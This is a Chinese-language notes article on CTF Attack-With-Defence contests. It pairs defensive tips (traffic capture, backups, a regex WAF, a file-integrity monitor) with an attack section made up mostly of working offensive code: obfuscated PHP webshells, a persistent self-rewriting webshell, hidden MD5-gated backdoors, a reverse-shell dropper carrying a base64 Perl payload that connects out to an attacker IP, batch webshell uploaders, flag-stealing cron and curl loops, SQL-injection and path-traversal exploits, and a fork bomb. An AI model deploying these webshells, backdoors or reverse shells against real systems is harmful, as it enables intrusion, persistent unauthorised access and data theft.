CTF AWD模式攻防Note

###0x01 AWD模式

Attack With Defence,简而言之就是你既是一个hacker,又是一个manager。

比赛形式:一般就是一个ssh对应一个web服务,然后flag五分钟一轮,各队一般都有自己的初始分数,flag被拿会被拿走flag的队伍均分,主办方会对每个队伍的服务进行check,check不过就扣分,扣除的分值由服务check正常的队伍均分。

###0x02 出题思路

####1:题目类型

1-出题人自己写的cms,为了恶心然后加个so。

2-常见或者不常见的cms。

3-一些框架漏洞,比如ph师傅挖的CI这种

####2:代码类型

目前来说,国内比赛依旧是php居多,当然也会有一些别的,比如py,lua这种。

####3:题目漏洞类型

1-sqli居多

2-文档包含

3-各种rce

4-文档上传

####4:出题人思路

为了不让你们这群赛棍把题秒了,我直接放个未公开cms的0day把,算了,要不我自己加点东西。诶,等等,这样是不是有点难了,再放几个比较简单的洞把,直接在index.php或者web根目录下放个shell?

####5:拿flag方式

1-是向内网一台机器发送http请求,返回请求中包含flag。

2-是例如/home目录下放置flag文档。

###0x03 防御技巧

1.分析流量

#在比赛服务器上抓取流量包
sudo tcpdump -s 0 -w flow.pcap port 80

使用scp写个脚本实时将流量包拷贝到本地用wireshark进行分析

2.分析日志

1). weblogger

2). LogForensics 腾讯实验室

3). 北风飘然@金乌网络安全实验室

4). 网络ID为piaox的安全从业人员

5). 网络ID:SecSky

6). 网络ID:鬼魅羊羔

# 日志地址
/var/log/apache2/
/usr/local/apache2/logs
/usr/nginx/logs/

3.打包源码&备份数据库

# 打包目录
tar -zcvf archive_name.tar.gz directory_to_compress
# 解包
tar -zxvf archive_name.tar.gz
# 备份指定的多个数据库
mysqldump -u root -p --databases choose test > /tmp/db.sql
# 恢复备份,在mysql终端下执行:
# 命令格式:source FILE_PATH
source ~/db.sql
# 曾经遇到一个备份有问题可以执行下面
mysqldump -u root --all-databases —skip-lock-tables > /tmp/db.sql
# 重置mysql密码
# 方法1:用SET PASSWORD命令
mysql> set password for 用户名@localhost = password('新密码');
# 方法2:用mysqladmin
mysqladmin -u用户名 -p旧密码 password 新密码

4.重置ssh密码

# ssh登录后执行
passwd

5.部署waf

<?php
//Code By Safe3
function customError($errno, $errstr, $errfile, $errline)
{ 
 echo "<b>Error number:</b> [$errno],error on line $errline in $errfile<br />";
 die();
}
set_error_handler("customError",E_ERROR);
$getfilter="'|(and|or)\\b.+?(>|<|=|in|like)|\\/\\*.+?\\*\\/|<\\s*script\\b|\\bEXEC\\b|UNION.+?SELECT|UPDATE.+?SET|INSERT\\s+INTO.+?VALUES|(SELECT|DELETE).+?FROM|(CREATE|ALTER|DROP|TRUNCATE)\\s+(TABLE|DATABASE)";
$postfilter="\\b(and|or)\\b.{1,6}?(=|>|<|\\bin\\b|\\blike\\b)|\\/\\*.+?\\*\\/|<\\s*script\\b|\\bEXEC\\b|UNION.+?SELECT|UPDATE.+?SET|INSERT\\s+INTO.+?VALUES|(SELECT|DELETE).+?FROM|(CREATE|ALTER|DROP|TRUNCATE)\\s+(TABLE|DATABASE)";
$cookiefilter="\\b(and|or)\\b.{1,6}?(=|>|<|\\bin\\b|\\blike\\b)|\\/\\*.+?\\*\\/|<\\s*script\\b|\\bEXEC\\b|UNION.+?SELECT|UPDATE.+?SET|INSERT\\s+INTO.+?VALUES|(SELECT|DELETE).+?FROM|(CREATE|ALTER|DROP|TRUNCATE)\\s+(TABLE|DATABASE)";
function StopAttack($StrFiltKey,$StrFiltValue,$ArrFiltReq){  

if(is_array($StrFiltValue))
{
    $StrFiltValue=implode($StrFiltValue);
}  
if (preg_match("/".$ArrFiltReq."/is",$StrFiltValue)==1){   
        //slog("<br><br>操作IP: ".$_SERVER["REMOTE_ADDR"]."<br>操作时间: ".strftime("%Y-%m-%d %H:%M:%S")."<br>操作页面:".$_SERVER["PHP_SELF"]."<br>提交方式: ".$_SERVER["REQUEST_METHOD"]."<br>提交参数: ".$StrFiltKey."<br>提交数据: ".$StrFiltValue);
        print "360websec notice:Illegal operation!";
        exit();
}      
}  
//$ArrPGC=array_merge($_GET,$_POST,$_COOKIE);
foreach($_GET as $key=>$value){ 
    StopAttack($key,$value,$getfilter);
}
foreach($_POST as $key=>$value){ 
    StopAttack($key,$value,$postfilter);
}
foreach($_COOKIE as $key=>$value){ 
    StopAttack($key,$value,$cookiefilter);
}
if (file_exists('update360.php')) {
    echo "请重命名文档update360.php,防止黑客利用<br/>";
    die();
}
function slog($logs)
{
  $toppath=$_SERVER["DOCUMENT_ROOT"]."/log.htm";
  $Ts=fopen($toppath,"a+");
  fputs($Ts,$logs."\r\n");
  fclose($Ts);
}
?>

使用方法:

(1).将waf.php传到要包含的文档的目录

(2).在页面中加入防护,有两种做法,根据情况二选一即可:

a).在所需要防护的页面加入代码

require_once('waf.php');

就可以做到页面防注入、跨站

如果想整站防注,就在网站的一个公用文档中,如数据库链接文档config.inc.php中!

添加require_once(‘waf.php’);来调用本代码

常用php系统添加文档

PHPCMS V9 \phpcms\base.php
PHPWIND8.7 \data\sql_config.php
DEDECMS5.7 \data\common.inc.php
DiscuzX2   \config\config_global.php
Wordpress   \wp-config.php
Metinfo   \include\head.php

b).在每个文档最前加上代码

在php.ini中找到:

Automatically add files before or after any PHP document.
auto_prepend_file = 360_safe3.php路径;

需要注意的是,部署waf可能会导致服务不可用,需要谨慎部署。

如果不能部署waf我们可以简单的写个apache配置文档来禁止PHP执行

<Directory "/var/www/html/">
Options -ExecCGI -Indexes
AllowOverride None
RemoveHandler .php .phtml .php3 .pht .php4 .php5 .php7 .shtml
RemoveType .php .phtml .php3 .pht .php4 .php5 .php7 .shtml
php_flag engine off
<FilesMatch ".+\.ph(p[3457]?|t|tml)$">
 deny from all
</FilesMatch>
</Directory>

6.干掉不死马的方式

(1). ps auxww|grep shell.php 找到pid后杀掉进程就可以,你删掉脚本是起不了作用的,因为php执行的时候已经把脚本读进去解释成opcode运行了

(2).重启php等web服务

(3).用一个ignore_user_abort(true)脚本,一直竞争写入(断断续续)。usleep要低于对方不死马设置的值。

(4).创建一个和不死马生成的马一样名字的文档夹。

7.修改curl命令

alias curl='echo fuckoff'  #权限要求较低
# 或者
alias curl='python -c "__import__(\"sys\").stdout.write(\"flag{%s}\\n\" % (__import__(\"hashlib\").md5(\"\".join([__import__(\"random\").choice(__import__(\"string\").letters) for i in range(0x10)])).hexdigest()))"'
chmod -x curl  #权限要求较高
/usr/bin  curl路径

8.用D盾扫描源代码删除后门文档

# 简单的查找后门
find . -name '*.php' | xargs grep -n 'eval('
find . -name '*.php' | xargs grep -n 'assert('
find . -name '*.php' | xargs grep -n 'system('

9.查找常见备份文档

# 例如bak文档
find / -name "*.bak"

10.重置web的各种登录密码(如果比赛check认为修改密码算down就不要修改了)

11.将 uploads 等文档夹使用 chattr 对文档底层属性进行控制。

chattr命令的用法:chattr [ -RVf ] [ -v version ] [ mode ] files…
最关键的是在[mode]部分,[mode]部分是由+-=和[ASacDdIijsTtu]这些字符组合的,这部分是用来控制文档的
属性。

+ :在原有参数设定基础上,追加参数。
- :在原有参数设定基础上,移除参数。
= :更新为指定参数设定。
A:文档或目录的 atime (access time)不可被修改(modified), 可以有效预防例如手提电脑磁盘I/O错误的发生。
S:硬盘I/O同步选项,功能类似sync。
a:即append,设定该参数后,只能向文档中添加数据,而不能删除,多用于服务器日志文档安全,只有root才能设定这个属性。
c:即compresse,设定文档是否经压缩后再存储。读取时需要经过自动解压操作。
d:即no dump,设定文档不能成为dump进程的备份目标。
i:设定文档不能被删除、改名、设定链接关系,同时不能写入或添加内容。i参数对于文档 系统的安全设置有很大帮助。
j:即journal,设定此参数使得当通过mount参数:data=ordered 或者 data=writeback 挂 载的文档系统,文档在写入时会先被记录(在journal中)。如果filesystem被设定参数为 data=journal,则该参数自动失效。
s:保密性地删除文档或目录,即硬盘空间被全部收回。
u:与s相反,当设定为u时,数据内容其实还存在磁盘中,可以用于undeletion。
各参数选项中常用到的是a和i。a选项强制只可添加不可删除,多用于日志系统的安全设定。而i是更为严格的安全设定,只有superuser (root) 或具有CAP_LINUX_IMMUTABLE处理能力(标识)的进程能够施加该选项。

应用举例:

用chattr命令防止系统中某个关键文档被修改:
# chattr +i /etc/resolv.conf

12.部署文档监控,如果发现新上传文档或者文档被修改立即恢复

# -*- coding: utf-8 -*-
# @Author: Nearg1e -- 2016-06-30 10:08:35 --0v0--
# v demo 0.21 修改了备份的webshell会自己坑自己的情况
# todo: windows下不支持中文目录
#use: python file_check.py ./

import os
import hashlib
import shutil
import ntpath
import time

CWD = os.getcwd()
FILE_MD5_DICT = {}      # 文档MD5字典
ORIGIN_FILE_LIST = []


# 特殊文档路径字符串
Special_path_str = 'drops_JWI96TY7ZKNMQPDRUOSG0FLH41A3C5EXVB82'
bakstring = 'bak_EAR1IBM0JT9HZ75WU4Y3Q8KLPCX26NDFOGVS'
logstring = 'log_WMY4RVTLAJFB28960SC3KZX7EUP1IHOQN5GD'
webshellstring = 'webshell_WMY4RVTLAJFB28960SC3KZX7EUP1IHOQN5GD'
difffile = 'diff_UMTGPJO17F82K35Z0LEDA6QB9WH4IYRXVSCN'

Special_string = 'drops_log'  # 免死金牌
UNICODE_ENCODING = "utf-8"
INVALID_UNICODE_CHAR_FORMAT = r"\?%02x"

# 文档路径字典
spec_base_path = os.path.realpath(os.path.join(CWD, Special_path_str))
Special_path = {
    'bak' : os.path.realpath(os.path.join(spec_base_path, bakstring)),
    'log' : os.path.realpath(os.path.join(spec_base_path, logstring)),
    'webshell' : os.path.realpath(os.path.join(spec_base_path, webshellstring)),
    'difffile' : os.path.realpath(os.path.join(spec_base_path, difffile)),
}


def isListLike(value):
    return isinstance(value, (list, tuple, set))


# 获取Unicode编码
def getUnicode(value, encoding=None, noneToNull=False):

    if noneToNull and value is None:
        return NULL

    if isListLike(value):
        value = list(getUnicode(_, encoding, noneToNull) for _ in value)
        return value

    if isinstance(value, unicode):
        return value
    elif isinstance(value, basestring):
        while True:
            try:
                return unicode(value, encoding or UNICODE_ENCODING)
            except UnicodeDecodeError, ex:
                try:
                    return unicode(value, UNICODE_ENCODING)
                except:
                    value = value[:ex.start] + "".join(INVALID_UNICODE_CHAR_FORMAT % ord(_) for _ in value[ex.start:ex.end]) + value[ex.end:]
    else:
        try:
            return unicode(value)
        except UnicodeDecodeError:
            return unicode(str(value), errors="ignore")


# 目录创建
def mkdir_p(path):
    import errno
    try:
        os.makedirs(path)
    except OSError as exc:
        if exc.errno == errno.EEXIST and os.path.isdir(path):
            pass
        else: raise


# 获取当前所有文档路径
def getfilelist(cwd):
    filelist = []
    for root,subdirs, files in os.walk(cwd):
        for filepath in files:
            originalfile = os.path.join(root, filepath)
            if Special_path_str not in originalfile:
                filelist.append(originalfile)
    return filelist


# 计算机文档MD5值
def calcMD5(filepath):
    try:
        with open(filepath,'rb') as f:
            md5obj = hashlib.md5()
            md5obj.update(f.read())
            hash = md5obj.hexdigest()
            return hash
    except Exception, e:
        print u'[!] getmd5_error : ' + getUnicode(filepath)
        print getUnicode(e)
        try:
            ORIGIN_FILE_LIST.remove(filepath)
            FILE_MD5_DICT.pop(filepath, None)
        except KeyError, e:
            pass


# 获取所有文档MD5
def getfilemd5dict(filelist = []):
    filemd5dict = {}
    for ori_file in filelist:
        if Special_path_str not in ori_file:
            md5 = calcMD5(os.path.realpath(ori_file))
            if md5:
                filemd5dict[ori_file] = md5
    return filemd5dict


# 备份所有文档
def backup_file(filelist=[]):
    # if len(os.listdir(Special_path['bak'])) == 0:
    for filepath in filelist:
        if Special_path_str not in filepath:
            shutil.copy2(filepath, Special_path['bak'])


if __name__ == '__main__':
    print u'---------start------------'
    for value in Special_path:
        mkdir_p(Special_path[value])
    # 获取所有文档路径,并获取所有文档的MD5,同时备份所有文档
    ORIGIN_FILE_LIST = getfilelist(CWD)
    FILE_MD5_DICT = getfilemd5dict(ORIGIN_FILE_LIST)
    backup_file(ORIGIN_FILE_LIST) # TODO 备份文档可能会产生重名BUG
    print u'[*] pre work end!'
    while True:
        file_list = getfilelist(CWD)
        # 移除新上传文档
        diff_file_list = list(set(file_list) ^ set(ORIGIN_FILE_LIST))
        if len(diff_file_list) != 0:
            # import pdb;pdb.set_trace()
            for filepath in diff_file_list:
                try:
                    f = open(filepath, 'r').read()
                except Exception, e:
                    break
                if Special_string not in f:
                    try:
                        print u'[*] webshell find : ' + getUnicode(filepath)
                        shutil.move(filepath, os.path.join(Special_path['webshell'], ntpath.basename(filepath) + '.txt'))
                    except Exception as e:
                        print u'[!] move webshell error, "%s" maybe is webshell.'%getUnicode(filepath)
                    try:
                        f = open(os.path.join(Special_path['log'], 'log.txt'), 'a')
                        f.write('newfile: ' + getUnicode(filepath) + ' : ' + str(time.ctime()) + '\n')
                        f.close()
                    except Exception as e:
                        print u'[-] log error : file move error: ' + getUnicode(e)

        # 防止任意文档被修改,还原被修改文档
        md5_dict = getfilemd5dict(ORIGIN_FILE_LIST)
        for filekey in md5_dict:
            if md5_dict[filekey] != FILE_MD5_DICT[filekey]:
                try:
                    f = open(filekey, 'r').read()
                except Exception, e:
                    break
                if Special_string not in f:
                    try:
                        print u'[*] file had be change : ' + getUnicode(filekey)
                        shutil.move(filekey, os.path.join(Special_path['difffile'], ntpath.basename(filekey) + '.txt'))
                        shutil.move(os.path.join(Special_path['bak'], ntpath.basename(filekey)), filekey)
                    except Exception as e:
                        print u'[!] move webshell error, "%s" maybe is webshell.'%getUnicode(filekey)
                    try:
                        f = open(os.path.join(Special_path['log'], 'log.txt'), 'a')
                        f.write('diff_file: ' + getUnicode(filekey) + ' : ' + getUnicode(time.ctime()) + '\n')
                        f.close()
                    except Exception as e:
                        print u'[-] log error : done_diff: ' + getUnicode(filekey)
                        pass
        time.sleep(2)
        # print '[*] ' + getUnicode(time.ctime())
七、自动提交

0x04 攻击技巧

1.拿到命令执行漏洞后执行crontab

# 参考
# http://linuxtools-rst.readthedocs.io/zh_CN/latest/tool/crontab.html
*/5 * * * * curl 172.16.100.5:9000/submit_flag/ -d 'flag='$(cat /home/web/flag/flag)'&token=7gsVbnRb6ToHRMxrP1zTBzQ9BeM05oncH9hUoef7HyXXhSzggQoLM2uXwjy1slr0XOpu8aS0qrY'

2.注意源码中或者备份文档中是否存在mysql等的弱口令

3.主机发现

# 使用httpscan脚本
./httpscan.py 172.16.0.0/24 –t 10
# masscan
masscan -p 80 172.16.0.0/24
# nmap
nmap –sn 172.16.0.0/24

4.常用的特殊webshell

控制用的一句话木马,最好是需要菜刀配置的,这样做是为了不让别人轻易的利用你的一句话,要不然就只能等着别人用你的脚本捡分。

简单举例:

<?php ($_=@$_GET[2]).@$_($_POST[1])?>

连接方式:php?2=assert密码是1。

献上我常用得一句话

<?php
$a=chr(96^5);
$b=chr(57^79);
$c=chr(15^110);
$d=chr(58^86);
$e='($_REQUEST[C])';
@assert($a.$b.$c.$d.$e);
?>

配置为 ?b=))99(rhC(tseuqeR+lave

<?php
    $sF="PCT4BA6ODSE_";$s21=strtolower($sF[4].$sF[5].$sF[9].$sF[10].$sF[6].$sF[3].$sF[11].$sF[8].$sF[10].$sF[1].$sF[7].$sF[8].$sF[10]);$s22=${strtoupper($sF[11].$sF[0].$sF[7].$sF[9].$sF[2])}['n985de9'];if(isset($s22)){eval($s21($s22));}
?>

配置填 n985de9=QGV2YWwoJF9QT1NUWzBdKTs=
连接密码:0(零)

5.权限维持

<?php
    set_time_limit(0);
    ignore_user_abort(true);

 $file = '.conifg.php';
 $shell = "<?php echo system("curl 10.0.0.2"); ?>";

    while(true){
        file_put_contents($file, $shell);
        system('chmod 777 .demo.php');

        usleep(50);
        }
?>

tips: .config.php 前面使用一个点,能很好的隐藏文档。

想要结束这个进程,除了最暴力的重启apache服务之外,更为优雅的如下:

<?php
while (1) {
 $pid=1234;
 @unlink('.config.php');
 exec('kill -9 $pid');
}
?>

先查看进程,查看对应的pid,再执行即可。

素质低的人则会放置一个md5马,比如

<?php
if(md5($_POST['pass'])=='d8d1a1efe0134e2530f503028a825253')
@eval($_POST['cmd']);
?>

如果素质低的人又很猥琐,像 rootrain 这种就是。那就是利用 header ,最后综合起来就是

<?php
echo 'hello';
if(md5($_POST['pass'])=='d8d1a1efe0134e2530f503028a825253')
 if (@$_SERVER['HTTP_USER_AGENT'] == 'flag'){
 $test= 'flag';
    header("flag:$test");
}
?>

放进 config.php 效果最好,因为一般很少人去看这个。

还可以采用反弹shell的方式

<?php 
function which($pr){ 
$path = execute("which $pr"); 
return ($path ? $path : $pr); 
} 
function execute($cfe){ 
$res = ''; 
if ($cfe) { 
if(function_exists('exec')) { 
@exec($cfe,$res); 
$res = join("\n",$res); 
} elseif(function_exists('shell_exec')) { 
$res = @shell_exec($cfe); 
} elseif(function_exists('system')) { 
@ob_start(); 
@system($cfe); 
$res = @ob_get_contents(); 
@ob_end_clean(); 
} elseif(function_exists('passthru')) { 
@ob_start(); 
@passthru($cfe); 
$res = @ob_get_contents(); 
@ob_end_clean(); 
} elseif(@is_resource($f = @popen($cfe,"r"))) { 
$res = ''; 
while(!@feof($f)) { 
$res .= @fread($f,1024); 
} 
@pclose($f); 
} 
} 
return $res; 
} 
function cf($fname,$text){ 
if($fp=@fopen($fname,'w')) { 
@fputs($fp,@base64_decode($text)); 
@fclose($fp); 
} 
} 
$yourip = "192.168.71.1"; 
$yourport = '9999'; 
$usedb = array('perl'=>'perl','c'=>'c'); 
$back_connect="IyEvdXNyL2Jpbi9wZXJsDQp1c2UgU29ja2V0Ow0KJGNtZD0gImx5bngiOw0KJHN5c3RlbT0gJ2VjaG8gImB1bmFtZSAtYWAiO2Vj". 
"aG8gImBpZGAiOy9iaW4vc2gnOw0KJDA9JGNtZDsNCiR0YXJnZXQ9JEFSR1ZbMF07DQokcG9ydD0kQVJHVlsxXTsNCiRpYWRkcj1pbmV0X2F0b24oJHR". 
"hcmdldCkgfHwgZGllKCJFcnJvcjogJCFcbiIpOw0KJHBhZGRyPXNvY2thZGRyX2luKCRwb3J0LCAkaWFkZHIpIHx8IGRpZSgiRXJyb3I6ICQhXG4iKT". 
"sNCiRwcm90bz1nZXRwcm90b2J5bmFtZSgndGNwJyk7DQpzb2NrZXQoU09DS0VULCBQRl9JTkVULCBTT0NLX1NUUkVBTSwgJHByb3RvKSB8fCBkaWUoI". 
"kVycm9yOiAkIVxuIik7DQpjb25uZWN0KFNPQ0tFVCwgJHBhZGRyKSB8fCBkaWUoIkVycm9yOiAkIVxuIik7DQpvcGVuKFNURElOLCAiPiZTT0NLRVQi". 
"KTsNCm9wZW4oU1RET1VULCAiPiZTT0NLRVQiKTsNCm9wZW4oU1RERVJSLCAiPiZTT0NLRVQiKTsNCnN5c3RlbSgkc3lzdGVtKTsNCmNsb3NlKFNUREl". 
"OKTsNCmNsb3NlKFNURE9VVCk7DQpjbG9zZShTVERFUlIpOw=="; 
cf('/tmp/.bc',$back_connect); 
$res = execute(which('perl')." /tmp/.bc $yourip $yourport &"); 
?>

之后本地执行 nc -lp 9999 即可

6.获取flag的方式

(1) 批量传webshell(shell的内容可以写为权限维持部分的那个脚本),之后结合批量访问 参考 PHP-定时任务

# 参考 http://www.freebuf.com/sectool/91082.html
#!/usr/bin/python
#coding=utf-8
  
import urllib  
import urllib2
import sys
import base64
import re
  
def post(url, data):  
    req = urllib2.Request(url)  
    data = urllib.urlencode(data)   
    opener = urllib2.build_opener(urllib2.HTTPCookieProcessor())  
    response = opener.open(req, data)  
    return response.read()  
 
def get_shell_path(posturl,passwd):
    shell_path = ""
    try:
        data = {}
        data[passwd] = '@eval(base64_decode($_POST[z0]));'
        data['z0']='ZWNobyAkX1NFUlZFUlsnU0NSSVBUX0ZJTEVOQU1FJ107'
        shell_path = post(posturl, data).strip()
    except Exception:
        pass
    return shell_path
  
def main():
    print '\n+++++++++Batch Uploading Local File (Only for PHP webshell)++++++++++\n'
    shellfile = sys.argv[1] # 存放webshell路径和密码的文档
    localfile = sys.argv[2] # 本地待上传的文档名
    shell_file = open(shellfile,'rb')
    local_content = str(open(localfile,'rb').read())
    for eachline in shell_file:
        posturl = eachline.split(',')[0].strip()
        passwd = eachline.split(',')[1].strip()
        try:
            reg = ".*/([^/]*\.php?)"
            match_shell_name = re.search(reg,eachline)
            if match_shell_name:
                shell_name=match_shell_name.group(1)
                shell_path = get_shell_path(posturl,passwd).strip()
                target_path = shell_path.split(shell_name)[0]+localfile
                target_path_base64 = base64.b64encode(target_path)
                target_file_url = eachline.split(shell_name)[0]+localfile
                data = {}
                data[passwd] = '@eval(base64_decode($_POST[z0]));'
                data['z0']='QGluaV9zZXQoImRpc3BsYXlfZXJyb3JzIiwiMCIpO0BzZXRfdGltZV9saW1pdCgwKTtAc2V0X21hZ2ljX3F1b3Rlc19ydW50aW1lKDApO2VjaG8oIi0+fCIpOzsKJGY9YmFzZTY0X2RlY29kZSgkX1BPU1RbInoxIl0pOwokYz1iYXNlNjRfZGVjb2RlKCRfUE9TVFsiejIiXSk7CiRjPXN0cl9yZXBsYWNlKCJcciIsIiIsJGMpOwokYz1zdHJfcmVwbGFjZSgiXG4iLCIiLCRjKTsKJGJ1Zj0iIjsKZm9yKCRpPTA7JGk8c3RybGVuKCRjKTskaSs9MSkKICAgICRidWYuPXN1YnN0cigkYywkaSwxKTsKZWNobyhAZndyaXRlKGZvcGVuKCRmLCJ3IiksJGJ1ZikpOwplY2hvKCJ8PC0iKTsKZGllKCk7'
                data['z1']=target_path_base64
                data['z2']=base64.b64encode(local_content)
                response = post(posturl, data)
                if response:
                    print '[+] '+target_file_url+', upload succeed!'
                else:
                    print '[-] '+target_file_url+', upload failed!'
            else:
                print '[-] '+posturl+', unsupported webshell!'
        except Exception,e:
            print '[-] '+posturl+', connection failed!'
    shell_file.close()
  
if __name__ == '__main__':  
    main()

(2) 或者直接执行下面的脚本

#!/bin/bash
while true
do
 flag=$(curl 'http://172.16.4.42:800')
 curl --cookie "PHPSESSID=21il7pum6i3781pumljhv578c1; xdgame_username=%E5%B0%8F%E7%BA%A2%E5%B8%BD" --data "key="${flag} "http://172.16.4.42/index.php/wargame/submit"
 sleep 1s
done

(3) 有些SQL注入漏洞可以通过sqlmap利用—sql-shell 执行 select load_file('/flag') 来获取flag。最好直接利用脚本来获得。

def sqli(host):
    global sess_admin
    data = {"section_name":"asd","admin_name":"'||(SELECT updatexml(1,concat(0x7e,(select load_file('/flag')),0x7e),1))||'","announcement":"asd"}
    r = sess_admin.post('http://%s/index.php/section/add'%host,data=data)
    flags = re.findall(r'~(.+?)~',r.content)
    if flags:
        return flags[0]
    else:
        return "error pwn!"

(4) 文档包含漏洞,直接可以通过../../../../../../flag的方式获取

def include(host):
    r = requests.get(url="http://%s/?t=../../../../../../flag"%host)
    flags = re.findall(r'^(.+?)<',r.content)
    if flags:
        return flags[0]
    else:
        return "error pwn!"

(5)批量提交flag的脚本

#!/usr/bin/env python2
import sys
import json
import urllib
import httplib
server_host = '10.10.0.2'
server_port = 80
def submit(team_token, flag, host=server_host, port=server_port, timeout=5):
    if not team_token or not flag:
        raise Exception('team token or flag not found')
    conn = httplib.HTTPConnection(host, port, timeout=timeout)
    params = urllib.urlencode({
        'token': team_token,
        'flag': flag,
    })
    headers = {
        "Content-type": "application/x-www-form-urlencoded"
    }
    conn.request('POST', '/api/submit_flag', params, headers)
    response = conn.getresponse()
    data = response.read()
    return json.loads(data)

if __name__ == '__main__':
    if len(sys.argv) < 3:
        print 'usage: ./submitflag.py $team_token $flag'
        sys.exit()
    host = server_host
    if len(sys.argv) > 3:
        host = sys.argv[3]
    print json.dumps(submit(sys.argv[1], sys.argv[2], host=host), indent=4)

7.批量修改ssh密码的脚本(猥琐流直接干掉几个对手)

8.如果有发现有预留后门,要立即使用脚本进行获取flag

#coding=utf-8
import requests
url="http://192.168.71."
url1=""
shell="/Upload/index.php"
passwd="abcde10db05bd4f6a24c94d7edde441d18545" 
port="80"
payload = {passwd: 'system(\'cat /flag\');'}
f=open("webshelllist.txt","w") 
f1=open("firstround_flag.txt","w")
for i in [51,52,53,11,12,13,21,22,23,31,32,33,41,42,43,71,72,73,81,82,83]: 
    url1=url+str(i)+":"+port+shell
    try:
        res=requests.post(url1,payload,timeout=1)
        if res.status_code == requests.codes.ok:
            print url1+" connect shell sucess,flag is "+res.text
            print >>f1,url1+" connect shell sucess,flag is "+res.text
            print >>f,url1+","+passwd
        else:
            print "shell 404"
    except:
        print url1+" connect shell fail"
  
f.close()
f1.close()

9.自写敏感功能。主办方可能已经把CMS本身的漏洞补全了,并自写了一些敏感功能,如上传、包含界面..,这时候需要自己手动去发现(利用seay代码审计工具可快速定位、ls -t按修改时间来看最新被修改的文档),分析,删除,利用。

10.fork炸弹

# 参考: https://linux.cn/article-5685-1-rss.html
:(){:|:&};:

0x05 参考